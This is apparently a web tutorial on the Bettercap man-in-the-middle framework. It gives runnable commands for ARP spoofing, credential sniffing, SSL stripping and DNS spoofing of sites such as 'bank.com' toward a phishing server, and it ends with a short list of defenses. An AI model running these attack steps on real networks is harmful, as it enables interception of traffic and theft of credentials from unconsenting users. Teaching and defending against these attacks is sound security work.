Bettercap — Modern MITM Framework

3 min readArticle

Bettercap is the go-to all-in-one MITM framework written in Go. It replaced Ettercap for most real-world use cases and handles ARP spoofing, WiFi attacks, BLE sniffing, HTTP/HTTPS proxying, DNS poisoning, and credential sniffing — all controllable via an interactive REPL or caplet scripts.

Installation

bash

sudo apt install bettercap                         # Kali/Debian
go install github.com/bettercap/bettercap@latest   # latest via Go

# Install caplets and web UI resources
sudo bettercap -eval "caplets.update; ui.update; q"

Interactive REPL

bash

sudo bettercap -iface eth0          # start on eth0
sudo bettercap -iface wlan0         # start on WiFi interface

# Inside the shell:
help                        # list all modules
help net.recon              # help for a specific module
net.recon on                # start ARP-based host discovery
net.show                    # display discovered hosts

Key Modules

Module	Purpose
`net.probe`	Active host probing (UDP/ARP)
`net.recon`	Passive host discovery
`arp.spoof`	ARP poisoning for MITM
`net.sniff`	Packet capture and credential parsing
`dns.spoof`	DNS response injection
`http.proxy`	Transparent HTTP proxy
`https.proxy`	HTTPS proxy with optional SSL strip
`wifi.recon`	802.11 AP/client scanning
`ble.recon`	Bluetooth LE device scanning

ARP Spoof + Credential Sniff Workflow

bash

# Full workflow in bettercap shell:
set arp.spoof.fullduplex true           # spoof both victim and gateway
set arp.spoof.targets 192.168.1.100     # target specific host (or omit for all)
arp.spoof on
net.sniff on                            # auto-parses HTTP, FTP, Telnet creds

# Log sniffed traffic to file
set net.sniff.output /tmp/captured.pcap
set net.sniff.regexp password           # filter output by keyword

Enable kernel forwarding so traffic passes through instead of dropping:

bash

sudo sysctl -w net.ipv4.ip_forward=1

SSL Stripping

bash

set https.proxy.sslstrip true
http.proxy on
https.proxy on

Bettercap rewrites https:// links to http:// in HTML responses, intercepts victim's HTTP while maintaining HTTPS upstream. Defeated by HSTS preloading.

DNS Spoofing

bash

set dns.spoof.domains example.com,bank.com
set dns.spoof.address 192.168.1.200    # your phishing server
dns.spoof on

Web UI

bash

sudo bettercap -iface eth0 -caplet https-ui
# Access at: https://127.0.0.1:8083 (default creds: user / pass)

Caplet Files

Caplets are .cap script files — put bettercap commands one per line:

bash

# /tmp/mitm.cap
set arp.spoof.fullduplex true
set arp.spoof.targets 192.168.1.0/24
arp.spoof on
net.sniff on

bash

sudo bettercap -iface eth0 -caplet /tmp/mitm.cap

Built-in caplets in /usr/share/bettercap/caplets/: http-req-dump.cap, https-ui.cap, pita.cap.

Bettercap vs Ettercap

Feature	Bettercap	Ettercap
Language	Go (fast, no deps)	C
WiFi attacks	Yes (wifi.recon, wifi.ap)	No
BLE	Yes	No
Web UI	Yes	No
Caplet scripting	Yes	Limited
Active development	Yes	Mostly stale

Defense

Dynamic ARP Inspection (DAI) on managed switches blocks unsolicited ARP replies
HTTPS + HSTS preloading defeats SSL stripping even if ARP-spoofed
VPN — all traffic encrypted end-to-end; sniffing yields ciphertext only
Monitor for gratuitous ARPs that change the gateway MAC — arpwatch alerts on this
802.1X authenticates every device before LAN access — rogue devices can't join

techzonesite.comUnlock Your IT Potential